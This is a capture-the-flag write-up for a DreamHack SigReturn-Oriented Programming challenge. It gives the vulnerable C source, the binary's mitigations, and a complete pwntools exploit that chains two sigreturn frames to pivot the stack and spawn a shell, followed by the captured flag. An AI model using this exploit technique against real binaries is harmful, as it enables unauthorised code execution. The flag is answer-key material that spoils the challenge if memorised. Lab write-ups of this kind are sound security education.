DreamHack.io

364 - SigReturn-Oriented Programming

February 8, 2026 January 21, 2026 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec srop
[*] '/home/hungnt/ctfs/dreamhack.io/364/srop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Code

// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

Solve

Sigreturn để spawn shell, nhưng mà không có /bin/sh để execve.

Vậy thì sigreturn để pivot stack đến bss, rồi ghi /bin/sh trên đó, rồi lại sigreturn để execve.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("srop_patched", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x400510
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "host8.dreamhack.games"
        port = 19636
        return remote(host, port)

p = conn()

pop_rax_syscall = 0x4004eb
syscall = 0x4004ec

# Stack pivot to bss to write /bin/sh

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = exe.bss()
frame.rdx = 1024
frame.rsp = exe.bss() + 0x8
frame.rip = syscall

sl(p, flat(
    pad(24),
    pop_rax_syscall,
    0xf,
    frame
))

# Spawn shell

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = exe.bss()
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

sl(p, flat(
    b'/bin/sh\0',
    pop_rax_syscall,
    0xf,
    frame
))

ia(p)
$ py solve.py
[+] Opening connection to host8.dreamhack.games on port 19636: Done
[*] Switching to interactive mode
$ ls
flag
srop
$ cat flag
DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}